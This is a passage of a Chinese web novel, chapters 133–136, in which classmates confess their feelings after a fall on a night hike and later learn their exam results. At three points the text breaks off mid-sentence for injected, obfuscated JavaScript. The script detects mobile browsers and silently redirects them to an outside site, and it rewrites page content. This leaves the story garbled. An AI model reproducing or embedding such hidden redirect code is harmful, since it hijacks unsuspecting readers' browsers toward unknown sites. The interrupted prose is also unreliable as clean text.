苏琬立刻掏出自己的手机点开看了看。 “信号很弱,网络几乎是断的,微信发不出去。” “我给黄怀予打电话号码试试。” 信号太差,电话很久都打不出去,十几秒后才传来“嘟嘟”声,响了七八秒后无人接听。 苏琬一边准备拨第二次,一边看着谷奕,眉头紧锁着。 “把雷师傅叫上来。”雷师傅此时就在山下的车里。 说到这里她又想到什么,登时有些泄气,“手机没信号的话,你能联系得上他吗?” 却没想到谷奕点点头。 “可以。” 他走回那堆行李里面,掏啊掏,居然掏出了一个黑色的对讲机。 “!”苏琬还是人生中第一次见到这种东西,顿时觉得今晚发生的一切,从开始到结束,都简直像梦一样令人难以相信。 谷奕看向苏琬的脸,声音里有些焦躁,“联系上雷师傅的话,要不让他直接报警?他们俩现在掉下去了,都联系不上,太危险了。” 苏琬一边点头,一边打了第二次电话,没想到这次那边才“嘟”了四声之后,居然接通了! 她一喜,“喂?杯子!你们还好吗!” 133. 第 133 章 对面断断续续传来黄怀予的声音,虽然不连贯,但是依稀可以听得出来她暂时没有什么危险。 “……不知道滚到什么地方了,但是……周围也有平台,我们……爬上来了。” “没关系,别担心,暂时没有危险……你们不用找我们,太黑了……你们自己都容易出事……等天亮我们自己下山……” 电流声滋滋啦啦,听筒里的声音时断时续,听得并不真切,但是连在一起也能拼凑出对面的意思。 电话挂断,两人终于松了一口气。 ……谷奕关掉了刚刚打开的对讲机,垂着头站在原地。 突然不知道现在应该干什么。 刚刚发生的一切实在是像一场突如其来的沙尘暴,铺天盖地一阵狂风,把所有东西弄得乱七八糟之后又迅速褪去,精神高度紧张之后又松懈,现在脑子完全一片空白。 他看着自己。 手上沾满灰尘,刚刚去边缘查看那两人掉下去的时候是跪着的,所以裤子膝盖灰扑扑一片。 再看看周围,所有东西在之前看星星的时候还井然有序并且充满温馨,转眼之间已经一片狼藉。三个照明灯碎了两个,剩下一个被掀翻,直直地指向密林深处。干干净净的柔软地垫此时全都是几人刚刚慌张躲避之后踩上去的脚印,旁边散落着三四个喝完水的空矿泉水瓶,四架望远镜倒了一架,三脚架直接折断了。所有大包小包乱七八糟散落一地。 他最后抬眸,看向了苏琬——鼻尖沾上了灰尘,浑身都脏兮兮的,头发上还粘着一根草。 两个人就这样一言不发地站在原地,看着极其狼狈的对方。 ——终于再也没忍住,“噗嗤”一声开始哈哈大笑。 “哈哈哈哈哈!” 苏琬弯下腰,捂着肚子,“你裤子膝盖都破了!你不是说你这身衣服质量好到可以去爬珠峰吗?” 谷奕抱着胸,唇角勾起,笑得有点张扬和倨傲,声音带着点哑,“你以为你很好?你头上还有一根草呢。” 他的目光就那样落在对面的女孩身上。 她笑得眼睛弯弯,嘴角上扬,鼻子上灰蒙蒙一片,头发乱糟糟的,浅色外套上沾满灰尘,被汗黏湿的碎发贴在额角,整个人像是从土堆里刚捞出来,哪里还有半分在学校里以漂亮出名的温柔清丽的样子。 可是她瞳仁清亮,眼睛里满是温和的轻松的笑意,像是原始密林中出逃的鹿。 泠泠月光下,茫茫夜色里,她看向自己,歪歪头,嗓音带着点柔和,声音拉得长长的: “谷奕,今天晚上,我好开心啊。” …… 那一刻,银河下,谷奕听见自己彻底乱掉的心跳声。 他低头,看看自己的手。 ——没有玫瑰花,没有巧克力,没有金项链,没有钻石戒指。 ——没有盛大的流星雨,没有虔诚的许愿,没有朋友的见证。 什么都没有,什么都不完美,什么都在计划之外。 “苏琬。” 谷奕突然叫住她。 “我喜欢你。” * “苏琬。” “2017年8月31号的早自习,见你第一面的时候,我就喜欢你。” “遇见你之前,我从来没想过我的人生应该怎么过。我只是我妈不在乎的儿子,只是大家眼里叛逆的问题少年,只是每天打架的游手好闲的二世祖。这个世界很吵闹,我混在这乱七八糟的人流里,觉得哪里都不属于我,觉得这个世界与我无关,我从来没有得到过爱。” “我从来没想过会早晨六点起床读书,从来没想过会坐在考场里拿起笔在答题卡上一笔一划地写下自己的名字,从来没想过会这样被两个女生牢牢地绑定,从此就执着地有了追求。” “读书好累,有梦想好累,为了某一个人而活着好累。” “可是,为什么,我却感觉如此幸福呢?” “楚门夏天好热,太阳像是不要钱一样。楚门冬天好冷,冷风呼呼地吹,手指都冻得僵硬。这样一个云省十八线破破烂烂的小城市,我本来应该很讨厌,可是不知道为什么,一旦想到楚门,我脑子里蹦出的第一个词,竟然是‘家’。” “明年春天的时候,楚门一中门口那两株樱花又会开了。” 月色下,高大的少年直直地注视着她,没有一丝犹豫和动摇,黑漆漆的长眸像是暗夜里的银河,盛满一汪星辉。 “你愿意和我一起去看吗?” …… 他问得好简单。 愿意吗? 苏琬听见自己内心深处的声音。 眼前好像起了白光,一下子闪过很多很多的片段。 她和母亲为了五块钱的饼干争论的时候,一抬头就看见对面男寝走廊上放着他一架五位数的天文望远镜。 他住院的时候聘用了她母亲当护工,随口开的价格母亲甚至不敢接受。 他从来没有见过生的饺子,所有食物都是别人做好呈上来的。 她借给他一只两块钱的粉色梦想牌水性笔,他却送给了她一只专属定制刻了她名字缩写的四位数的名牌钢笔,牌子名字叫做月光。 她借以改变人生的高考之路,却是对他的惩罚和流放。 谷奕,你知道吗?我们就像帝都的地铁,轰隆隆进了漆黑的隧道,但是你向前,我向后,楚门的短短一年是命运恩赐,平行线也能得以交汇,可是我们永远都只能朝着相反的方向。 苏琬低着头,双手紧紧握成拳头,用力大到指节都泛白。 她好想说“我们不是一路人”,好想说“我们迟早会分手的”,好想说“我们都没错,只是太不同”。这才是她,永远理性冷静的她,永远柔和却清冷的月亮,从一开始就清晰地看得见差距,但是却仍然挺直肩背平等和他相处的她。 “谷奕。” ——可是,在那一秒,她却突然颤抖着说。 “我也喜欢你。” “我愿意。” 话音落下的一瞬间,整个夜空突然发亮,天边闪过无数小小的耀眼的流星,像无数条长长的闪耀的银链,在大气层里裹挟着飞腾着迅速落下,焰火绚烂而冲动地燃烧。爱神向人间洒下坠坠之箭,沉默的仙女星在天边旋转,平凡的疲累的人们啊,请坠入情网吧。 * 黄怀予感到身后什么都没有的时候,心脏仿佛在那一刻停止跳动了。 那一秒钟仿佛像一个世纪一般漫长,她睁大眼睛,不由自主伸出右手向前方抓去,却只抓了个空。 重力作用下她不由自主地向后倒去,她清楚地知道自己要倒着跌下山崖了,那一秒钟的感觉和做梦下楼梯踩空那种惊险一模一样。 可是下一刻,她余光视线里就突然冲出一个白色身影,一双大手迅速勾住了她的腰,她被紧紧按在一个温热有力的怀抱里,滚了下去。 从平台上摔下来,下面的陡峭山坡几乎到了90度,灰尘泥土遍布,杂草丛生,几乎有半人高的坚硬茎叶一路刮着脸,两个人就这样紧紧抱着滚了下去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080741|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整个世界都天旋地转。 一切的速度都太快,她完全没有机会反应,腰上的手极其用力,后脑勺后面也被一只大手包了起来,整个脑袋都被紧紧嵌进他怀里。一路上那人不知帮她挡了多少剐蹭和撞击,耳畔响起猎猎风声,她听见和自己紧贴的坚硬胸膛处传来那人几声忍不住的闷哼。 直到后腰处突然被一株横生出的粗壮树枝“当——”地撞上,黄怀予被撞得几乎要吐出一口血,两人被拦腰挡住,终于停下来的时候,黄怀予早就不知自己滚到什么地方去了。 …… 周围漆黑一片,几乎伸手不见五指,身体旁边几乎全都是极其刺挠的植物。 她动了动,以为自己会受很严重的伤,会浑身都痛,却发现好像不怎么痛,四肢都似乎可以正常活动,只是脸刚刚滚下来的时候被横生出来的尖锐植物刮了几道口子,一摸,似乎有粘稠的血液,但是流的血并不多,应该问题不大。 黄怀予居然第一想法就是,本不富裕的脸蛋这下更是雪上加霜。 周围一片黑暗,她赶紧去晃那个压在自己身上正紧紧抱住自己的人,“楚老师!楚老师!” 晃了两下对方没反应,黄怀予又不敢用力怕伤到他,想抽手出来去拍他的脸,却没想到他不仅没松手反而更加用力地抱住自己,几乎箍得她手臂生疼。 “受伤了吗。”他贴着她耳朵出声问,声音压得很低,带着嘶哑。 “我没事。你呢?” 黄怀予动了动,“你抱得太紧了。你先放开我,我帮你看看。” 那人喘了口气,似乎是终于意识到两人已经暂时没有危险,这才慢慢松开手臂。 黄怀予终于恢复自由,立刻翻身爬起来。刚刚在平台上崴了一次的右脚传来疼痛,但是并不严重,她身子抖了一下,咬牙忍着。 裤子口袋里被什么东西硌的硬硬的,她抠了半天把手机掏了出来。幸好今天穿的裤子比较紧,刚刚一路滚下来手机也没有甩出去。 手机没信号,但是其他离线功能都可以正常运转,她立刻打开手电筒,黑漆漆的环境骤然被照亮,楚恒那张有些惨白的脸出现在她眼前。 她慌了,赶紧检查他身上有没有伤口。果然第一眼就看见,他右手因为卷起了袖子,所以滚下来的时候被刮了很长一条口子,看着不深,却有些触目惊心。 其他地方没有见血但是也不知道会不会有骨折之类的内伤,她完全不敢动,手在他身上不停摸索,摸完胸口摸侧腰,焦灼地边低头找边问: “你现在身上其他地方还痛不痛?会不会骨折?” “这里痛不痛?这里痛不痛?这里呢?” ——结果下一秒,自己的手腕就被他一把抓住。 楚恒躺在地上,脸色有些苍白,额头上蹭上了一块灰扑扑的泥土,但是那双眼睛却亮晶晶的,垂着睫,目光有些散漫,唇角淡淡勾起: “别摸了。” “?” 黄怀予恼怒地拍他一下,“你还有心情说这个?” “嗯。”他似乎是笑了一下,看着她的脸,声音很哑,“很有心情。” 黄怀予一把甩开他的手,生气质问:“怎么?我不能摸你吗?我是为了看你有没有受伤!这种时候你的洁癖就忍忍不行吗?” 他没再说话,呼出一口气,沉沉地凝视着她。 “我已经忍了很久了。” 越摸越难受。 想抱她。 想吻她。 ……已经忍了很久了。 134. 第 134 章 黄怀予更生气了。 “老子管你。”她粗声粗气地小声骂,“我就摸!” 她像是要证明什么,手伸到他侧腰处,不轻不重地拧了一下,楚恒表情骤然变了,“嘶”了一声倒吸了一口凉气。 “哼。”黄怀予脸上露出一丝大仇得报的得逞,笑得有点狡黠,“摸完了,怎么样?” 却见楚恒躺在地上,眉头锁着,从耳朵到脖颈似乎都肉眼可见地红了起来。 他喘了两声,紧紧闭上了眼睛,像是在忍耐着什么,又睁开,抬眸直勾勾地盯着她,眼里像是燃烧着熊熊火焰。 他不说话,就这样盯着黄怀予看,直到黄怀予被他那越来越幽深热烈的眼神弄得有点头皮发麻,咳了两声没好气地说:“你看什么?你生气了?我好心要救你结果你嫌弃我,我还没生气呢。” 她又拿起手机手电筒,不管不顾地解开他冲锋衣的拉链,开始重新在他身上摸索,一边摸还一边仔细查看。 “你刚刚是不是撞到这里了?刚刚摸到这里的时候好像看着很痛的样子。” 夏日衣衫单薄,冲锋衣里只穿了一件薄薄的T恤,几乎可以印出他衣衫下坚硬的胸膛和一点点肌肉纹理。她的手从胸口摸到下腹,一边摸一边还觉得身下的人越摸越滚烫,体温越来越高,呼吸越来越急促。 她皱起了眉,“楚老师,你是不是发烧了?” 她伸出手贴在他额头上,有些疑惑,“没有啊,额头不烫。你怎么身体越来越热?” “……”他缓缓眨了眨眼睛,喉结上下滚了滚,像是极力压制着什么情绪,最终还是深呼吸一口气,转过了头,闭上了眼睛,无可奈何般投降。 “你想摸就摸吧。”声音喑哑,带着粗粝。 “这就对了嘛。我感觉如果你不痛的话,应该就没什么大事,比较严重的就是你手上那条伤口,等我们上去——” 她的声音戛然而止。 手机手电筒白色的灯光照耀下,楚恒躺在地上,冲锋衣被她扒开,一整个衣衫大开,T恤下摆被卷了起来,露出一小截白皙劲瘦的腰。工装裤上系着黑色的腰带,再往下,似乎有什么东西,鼓鼓囊囊的一团。 ! 黄怀予惊了一下,吓得手里的手机都飞了出去。 她哆哆嗦嗦捡回摔进泥土里的手机,迅速把脸转了过去,整张脸瞬间烧了起来,变得滚烫,咬着牙,刚刚还巧舌如簧现在却一个字也说不出来了。 “……” 沉默在两人中间尴尬地飘散。 一片死寂,只有手电筒的光直直地照向天空,周围草丛中隐隐约约响起蝉鸣。 空气陡然变得暧昧起来,刚刚所有为了检查伤口而进行的亲密接触都瞬间变了味。 看见她掉下去就不假思索地冲过来抱住她,一路上紧紧护着她不让她被撞到一丝一毫,停下来之后第一反应就是问她有没有事…… 一切都不能细想,黄怀予极力想把在他怀里被他紧紧护着的感觉从脑子里剔除出去,可是被用力埋在他胸口时他胸腔里勃发的心跳声、将她完完全全包裹的熟悉的小苍兰香味……一切的一切,都像是有魔力,扎根一般在她脑子里挥之不去。 她心砰砰直跳,紧紧握住拳头,脸颊红得像是可以滴出血。 “还要摸吗。” 低沉的声音从身后响起。 “摸你三爷!” 黄怀予抓起腿边的草就扔他脸上,头也不回地站起身,咬牙骂道。 “没事就给我起来!” 楚恒躺在地上,脸上骤然多了两株刚刚被拔下来的可怜兮兮的狗尾巴草,蹭在脸上酥酥痒痒。他闭着眼,闷闷地笑了两声。 * 黄怀予往后方走了几步,拿起手机,往周围照了照,认认真真观察了一下。 “哎!那上面也有平台。” 只见手机手电筒的光束直直地打向土坡边,上方俨然也是残长城旧石板路搭成的平坦平台。只是整个土坡大概有接近一米多高,几乎已经快到黄怀予胸口,整个坡十分陡,也没什么凸出来的石块可以借力,感觉要爬上去会非常困难。 她四处观察了一下,找了一个看上去高度没那么高、坡度稍缓的地方,直接就准备撸起袖子。 下一秒,她的手臂就被人拉住。 “上得去吗?”他问。 “不知道。管他上不上得去,上不去也得试试。” 黄怀予把手机递给他,“你帮我照着。” 手机递过去却没人接,她回头,楚恒那张有些苍白的脸隐匿在黑暗里。 “你的脚之前是不是崴了。” “嗯?你怎么知道?”黄怀予低头晃了晃自己的右脚,“之前冲出去垫望远镜的时候不小心崴到的。不过感觉没什么事。” 她没等楚恒回话,就把手机扔进楚恒怀里,不由分说地就往后退了几大步,看准了土坡上一块凸出最明显的石头,一个助跑就迅速爬了上去,双手紧紧扒住那块石头,双脚用力踩着斜坡往上爬。 却没想到手下的那块石头竟然已经开始松动,她瞪大眼睛,还没反应过来,石头已经彻底被她从土里掰了下来,她猝不及防往后倒去,整个人摔进一个带着寒气的怀抱里。 “谁说没事。” 头顶响起那人有些冷淡的声线。 她被楚恒一把接住横抱起来,整个人被埋进了他怀里,她愣愣地抬头,这个角度只能看见他紧抿的唇和绷紧的下颌。 似乎是她现在脸上这个没想到自己会摔下来的表情太过呆傻,楚恒周遭的低气压也减轻了一些,最终还是叹了口气,把她放下,把手机还给了她。 “我先上去。” “然后拉你。” 楚恒刚走上前两步,就被身后的人拉住了袖子。 他转过来。 黄怀予低着头,楚恒看不见她什么表情,只能看见她的头顶。 他目光又落在她牵住自己袖子的手指上。 “你还是坚持想先上去?”楚恒语气带着一点无奈和服软,“悍妇小姐,你很坚强,但是你的脚受伤了。” “……才不是。”黄怀予听见他又叫自己“悍妇小姐”这个称号,脸有点红,小声说,“我的意思是……你先上去了,我一个人呆在下面……” “一个人呆在下面怎么了。”楚恒很平静。 黄怀予眉头拧起来。 楚恒也不说话。 “……”黄怀予扭过头,“我怕黑!” 她终于喊了出来,周围安静了一瞬。 “怎么了!我害怕很合理吧!凌晨一点多的郊区树林,多可怕啊!黑暗里的地方,说不定有蛇呢?说不定有尸体呢?说不定有鬼呢?说不定有狐仙呢?说不定有冤魂呢?说不定有丧尸呢?说不定有就喜欢把我抓走然后吃掉的怪人呢?” 像她这种想象力丰富、情感又浓烈的人,只能接受光明。黑暗太不确定了,里面隐藏了太多东西了,多可怕啊! 黄怀予越多说一句,面前男人脸上的笑意就似乎越多一分,她瞪起眼睛,“你笑什么!” “我在。” 楚恒看着她。 “黑暗里,有我。” “别怕。” 这个土坡对一米八几的成年男性来说好像不是特别困难,黄怀予看着楚恒双手一撑,长腿一下子就蹬了上去,一个翻身之后,她就看见他双脚已经全部站在了上方的平台上,蹲下来,高高地俯视着她,向她伸出一只手。 “别怕。” 他盯着她的脸,轻声说。 …… 黄怀予双手用力地握住了那只手。 她甚至都没有留下一只手用来以防万一,她把所有的希望都全部大喇喇地交给了楚恒。万一他要是松手了,那她就只能毫无缓冲和自救能力地摔下去了。 ——那就摔吧。 黄怀予双手紧紧地握住了楚恒的手,没有一丝间隙,密切地贴在一起,皮肤相触的地方传来源源不断的热度。 他的手真的好大,几乎可以把她整只手都包进去。她能感觉到他用力收紧五指,把自己牢牢抓在手心里。 那只手往上带着不容置疑的一股巨大力气,黄怀予双脚跟着踩了两下土坡,用力紧紧抓着他的手,就这样一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯?”黄怀予一下清醒了不少,微微撑起头,去看他,“这你都知道?” 她随即又反应过来,“不过大傻也确实有点太明显了,在车旁边看见玫瑰花和巧克力的时候,你应该就已经知道了吧?” 楚恒不可置否地看着她,黄怀予不好意思地一笑,又躺了回去,翘起二郎腿,脚尖晃晃悠悠。 突然,天边骤然闪过一条细细的长长的银色流星,“倏地”一下飞速划过,黄怀予一愣,“哇!” 她猛地坐起来,揉揉眼睛,指着天空,“楚恒!流星!流星!” 话音未落,接二连三的流星纷纷划过天际,长长的尾焰燃烧出绚丽的光芒,像黑夜星空的眼泪,像冲破阻碍的烟火,瞬间闪过却又像永恒,一条条一缕缕组成盛大灿烂的流星雨,绽放出永存的色彩。 天空斗转星移,大地时刻变迁,生命的轨迹绚烂而耀眼。 …… 楚恒眸光闪动,静静地坐在原地。 他的目光落在一旁的女孩身上。 她跪在地上,仰头一眼不眨地看着漫天流星雨,眼里闪着兴奋又梦幻的笑意。黑夜中她的侧脸明明灭灭看不真切,但她却合起手掌,像是要许愿。 她会许什么愿? 高考状元?前途璀璨?身体健康?赚很多钱? 楚恒凝望着她夜空下的侧脸,紧接着下一秒,她轻柔细腻的声音就清清楚楚地传进他耳朵里。 “楚恒,祝你天天开心。” 黄怀予非常认真地说。 “也祝我天天开心。” *2018年6月22日凌晨两点左右,一向变幻莫测的牧夫座流星雨光临地球,每小时有接近百颗流星掠过苍穹。这场突如其来的爆发令许多天文爱好者都一饱眼福,也令许多意外观测到这一天文现象的民众们兴奋不已。这场二十年一遇的流星雨之后是否还会光临?还需要多久人们才能等到它的下一次爆发?答案藏在未来里。 135. 第 135 章 黄怀予手里捧着一杯奶茶,背着书包,坐在帝都机场闸口前的座位上。 她瞟了一眼旁边一对看似十分平静保持了正常社交距离、实则脸红到几乎下一秒就要黏黏糊糊牵手的新情侣,撇了撇嘴,十分有眼力见地背着书包站了起来。 “还有一小时才登机,你们俩在这坐着,我和楚老师去那边逛逛。” “嗯?去哪逛?”谷奕抬起头问。 黄怀予看了一眼他红晕未消的脸,哼了一声。 “我们俩去哪逛不要紧,主要是给你们俩腾个空间出来。” 这话一出来,座位上的两人竟然都默默低下了头,脸颊像烧红一般不说话。 “……”黄怀予觉得好笑,拉了楚恒一把,就往右边走去。 …… 楚恒跟在她身后。 她今天上身穿了一件紧身背心,下身牛仔短裤。露肤度很高,但是她个子高挑,身材匀称修长,腿结实饱满,整个人身上运动气息很足,这样一套衣服穿在她身上并不性感,反而显得阳光活力。 他与她保持着两步左右的距离。 她捧着奶茶,时不时喝上一口,左看看右看看,脚步慢悠悠,背影显得有些百无聊赖。 很显然她也没想好要去哪里,只是想要给那边一对刚刚确认关系的情侣独自相处的空间。她好像很容易让渡出自己的空间,宁愿自己先离开。 楚恒的目光最后落在了她的那双腿上。 一步一步,走路的时候小腿肌肉微微发力,膨胀出坚实好看的线条,纤长笔直,又健康有力。 他目光停住。 好久之后,才平静地移开视线。 * 机场闸口不远处的炸鸡店里,黄怀予和楚恒面对面坐着,桌上摆了一份炸鸡。 “刚吃完晚饭,现在吃得下吗。”他问。 黄怀予随意拿起筷子,嘴里叽里咕噜说了一句,“哎呦喂,您就请好儿吧。” 对面男人失笑。 随后不再说话,安静地坐在对面。 两人在一起时的氛围很平静。这趟毕业旅行已经到了终点,黄怀予觉得和楚恒之间好像变得熟络了很多,不用想着要说什么来破冰,也不用特意挑起轻松的氛围,就这样安安静静坐在一起也很自在。 黄怀予一边吃,左手一边随意划着手机。 划着划着,神色却越来越凝重。 ——她居然在微博热搜上,看见了“楚恒”的名字。 黄怀予点进去,一行字就这样出现在她眼前: “楚恒因身体原因退出STAR,公司和成员表示尊重他的决定”。 “?!” 黄怀予倏然抬起头,看向对面的男人。 “你退团了?!” 楚恒挑挑眉,像是对她低头吃着饭却突然说话的行为感到一丝惊讶,反应了几秒她说话的内容之后又像是想起了什么,点了点头。 “……”黄怀予看着这上面的几个字,终于想明白了前因后果,只觉得荒谬无比,“你身体什么时候不健康了?我怎么不知道?他们还说是你主动退出的?……你就被他们用这样的原因踢出去了?” 她扯扯嘴角,“他们还真是会编故事,一个个简直沈玉琳附体,他们怎么不说你和保姆泡澡呢?” 黄怀予看着楚恒问他:“什么时候的事?” 对面男人眨了眨眼。 “五月份。” “那怎么你们官博今天才发消息?” “因为,这是我的意思。”楚恒看着她,缓缓开口,“我对于他们已经确认好的结果没有异议,只是想要他们在高考之后再公布。” 他这话的意思是……怕消息公布会影响自己考试? 黄怀予蹙起眉,心里更加不是滋味了。 她一言不发地划着下面的评论。 “什么人?不认识。” “糊人这辈子最火的时候就是现在。” “身体原因?虽然不认识但是希望好好养病。” “早就该退了,之前被爆出来和队友关系不好的就是他吧?平时看着就冷冷的,好像谁欠他钱一样。” “以前好像看过舞台,挺出众的,唱歌实力挺好。可惜了。退团以后还能怎么发展呢?估计也就是这样了,红不起来没办法。” “看面相就感觉很不好说话。” “好像看过之前论坛上那个男团学的帖子,是不是就有他?天天跟队友玩心计,现在退团也是活该。” …… 黄怀予眉头紧锁,悄悄抬头去看对面楚恒的神色,犹豫着说:“你……你最近别看网上的评论。看了心情不好。” 楚恒看着她,“好。” 黄怀予越看越觉得心烦意乱,本想把手机锁了低头吃东西,没吃两口又觉得心里堵得难受,气冲冲放下筷子,又重新打开手机开始接着往下划,越划心情越差,干脆一把把手机倒扣在桌面上,砸得“啪——”一声响。 对面传来一声很轻的笑。 “让我别看,自己不是也在看。” “那我不看了。”黄怀予恶狠狠吃了两块鸡肉,“我看了心情也不好。” 她没精打采地戳着盘子里的生菜,沙拉酱蹭到了她的食指。 “为什么呢?那些人为什么要那么说?TA们明明都不认识你,却可以这样随意评价你。” 她抬起头,对上楚恒的眼睛。比起她的情绪外放,他本人却显得很是平静。黄怀予想,很多时候,自己被骂了倒是没觉得有什么,但是身边的人被骂了就会特别难受。 坐在对面的男人神色淡淡,眼里却透着些认真。他垂下眼睫,抽了一张卫生纸,仔仔细细地给黄怀予把食指上的酱一点点擦干净。 “做这份工作,赚的就是被人讨论的钱。” “可是,TA们说的不是真正的你!你不是这样的。” “嗯。TA们说的不是我,是‘楚恒’这个名字代号。把这个名字代号放到大众面前,这也是我的工作内容之一。” 楚恒给她擦完手,微微歪了歪头,轻声说: “真正的我,现在就在你面前。” 真正的他? 有血有肉的他。身体温暖怀抱坚硬的他。手很大的他。 受伤的时候会脸色苍白的他。执着地问游戏里的话是不是真心的他。 牵着自己的手走上那辆缆车的他。帝都残长城黑漆漆的森林里紧紧抱住自己的他。 …… 夜幕四合,登机口已经开放,由帝都前往江城的飞机即将起飞。现在是6月22日晚上八点,云省高考成绩将于23日开始开放查询,三人明天就要回去查分填志愿。 “兄弟,下次再见。” 谷奕拍了拍楚恒的肩膀,神色很放松,“其实,我觉得你这段时间以来变了很多。” “变得更爱笑了。” 谷奕挑挑眉,一副浪荡的样子,“钱的事,都交给我。我这算是投资,说不定你以后还能给我赚回来一笔钱呢。” 夜晚,机场人不多。 楚恒戴着口罩,站在登机口不远处,遥遥看着不远处三人站在头等舱优先登机口的身影。 手机在外套口袋里震了两下,他目光仍然落在登机口那个短发女孩身上,手伸进口袋,点开屏幕,放到耳边。 “喂,梁姐。” “嗯,结束了。” “明天就有空。” “好。那我们明天见。” 他盯着登机口的背影,一动不动,机械地对手机听筒应答着。对面讲的是很重要的事,关乎他的未来,他的事业,甚至几百万的金钱纠缠。 但是他独自一人站在原处,高挑瘦削,身形有些单薄萧瑟,神色平静,目光如炬,只是一顺不顺地盯着不远处女孩的背影。 远远地,他看见女孩转过了头,直直地朝他看过来,然后冲他笑了笑,用力挥了挥手。 楚恒举着手机,但听筒里的声音却已经模糊不清。 ——他已经什么都听不见了。 他没有向她挥手,他只是沉默地定定地站着。 因为他怕自己一动, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099628|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就会忍不住冲上前。 女孩跟着前方的两人一起走进闸口,右脚踏上登机廊桥的前一秒,她再次停住,转过身,远远地凝望着他的身影,然后冲他鼓励式地晃了晃身后的书包。 ——书包上,一个笑嘻嘻的张牙舞爪的小太阳毛绒玩具随着她的动作左右摇晃,一下一下,晃进了楚恒心里。 下一秒,女孩回过头,身影消失在廊桥深处。 “喂?喂?楚恒,你在听吗?” 他右手一松,手机骤然从手心里掉了下去,“砰——”地一声砸在了地上,摔得四分五裂。 * 23号。楚门。 黄怀予醒得很早,今天要去学校。 如果她没猜错,今天应该是最后一次以在读生的身份去楚门一中了。她背上书包,出了门。天很蓝,白云没心没肺地飘着,路边卖面窝的阿姨坐在一大口油锅边。黄怀予买了两个,一边吃一边慢慢走向学校。 黄怀予,这条走了三年的上学路,是最后一次走了。她对自己说。 一路上好像还看到好几个学生,一看就知道也是高三刚刚高考完的,身上一点也没有了考之前的那种死气沉沉,反而全都是闲散轻松的神态。这并不说明TA们考得很好,这和成绩本身无关,只是有一种终于解脱了的人生状态。 楚门一中一号教学楼五楼的走廊上。 窗外阳光正好,绿影摇晃,几只麻雀叽叽喳喳地站在窗沿边,又飞起来奔向被杂乱电线切割的广阔天空。 黄怀予站在窗前,手里是马辉刚刚塞给她的年级前十成绩表。 高三最后一年的每一次月考,她总是第七名,总是无法超越自己,总是被八班的六个人压制住。她有时候会想,八班的这些人如果听见她一个第七名却还老是梦想着可以当文科状元,会不会嘲笑她? 文科状元? 年级第一? 会吗?会吗?会吗? 不是有那种经典爽文情节吗?不被看好的主角最后忍辱负重拿了不可能拿到的第一名,打脸所有人,从此走上人生巅峰? 会吗?这会是她吗? 她颤抖着手,把手里的纸翻过正面,用右手遮挡着,一点点从下往上看。 从第十名一路往上翻到第七名的时候,没有她。 她心里狠狠一噔。 手抖得已经快要拿不住这薄薄的一张纸,一点点往上滑。 第六名,不是她。 第五名——黄怀予,总分642。 她一愣,就这样毫不设防地看到了自己的名字。 一股骤然的惊喜席卷了她,理性立刻告诉她这是一个很好的结果,这样的分数可以上一个很好的985,十二年的努力没有白费。 可是她此时此刻却像痴呆一样只能微微张着嘴,再也做不出任何反应,好像人生里最期待的惊喜结果到最后就这样直接展露在面前,你期盼能有一个“极致完美”的100%,但是你只能得到一个“还可以”的95%。 她高兴吗?很高兴,终于打破了“7”的魔咒,终于战胜了自己,高中三年得到的最好的名次就是在高考,这毫无疑问是超常发挥,给自己最好的答案。 可是,她有那么那么高兴吗?就算超常发挥,幸运也不会100%像流星雨一样降落在她肩头。 那一刻,黄怀予突然松了一口气,她只觉得身体轻松无比,她终于认识到,太好的事情都不会发生在她身上,真正的第一名永远不会属于她,那是世界的主角,那是人群的中心,那是光耀的顶点,而她只是一个安娜静静活在自己世界里的普通人,主角光环永远都不会降临。 但是,自己世界里的第五名,也很好了,不是吗? …… 一切都尘埃落定了,黄怀予此时心情很平静。 看着手里这张薄薄的纸,继续往上翻。 随后愣在原地。 ——第三名,苏琬,总分648。 成绩单飘飘荡荡落在地上,黄怀予定在原地,大口呼吸了两声,攥紧拳头,眼泪夺眶而出。 136. 第 136 章 她紧紧捂住了嘴,哭得上气不接下气。 苏琬从教室里走到走廊上倒水的时候,看到的就是这样一幕。 “怎么了?”苏琬看见窗边独自一人站着的单薄身影,以为她遇到了什么事,表情一变,立刻就走上前。 却见眼前的女生抽抽噎噎转过来,满脸泪痕,哭得喘不上来气,一边语无伦次地指着自己,一边又指着地上的一张纸,最后扑到她的怀里放声大哭: ——“我好高兴!” 苏琬愣怔住。 随后失笑。 抬起双手,慢慢地、慢慢地回抱住她。 “黄怀予。” 苏琬听着怀里人的心跳声,喊了她的大名。 “这十二年,和你一起,我很幸福。” 和你一起走过的每一条上学路,和你一起爬过的每一层楼梯,和你一起看过的每一个夜晚。我们是纠缠的双生子,是天边的日和月,每一寸都相反,每一步都相同。 怀里的人仍然抽抽搭搭地吸着鼻子,一向考不到全班第一就不高兴的人,却在另一个人“抢”走了第一名的位置的时候,激动地哭成了这样。 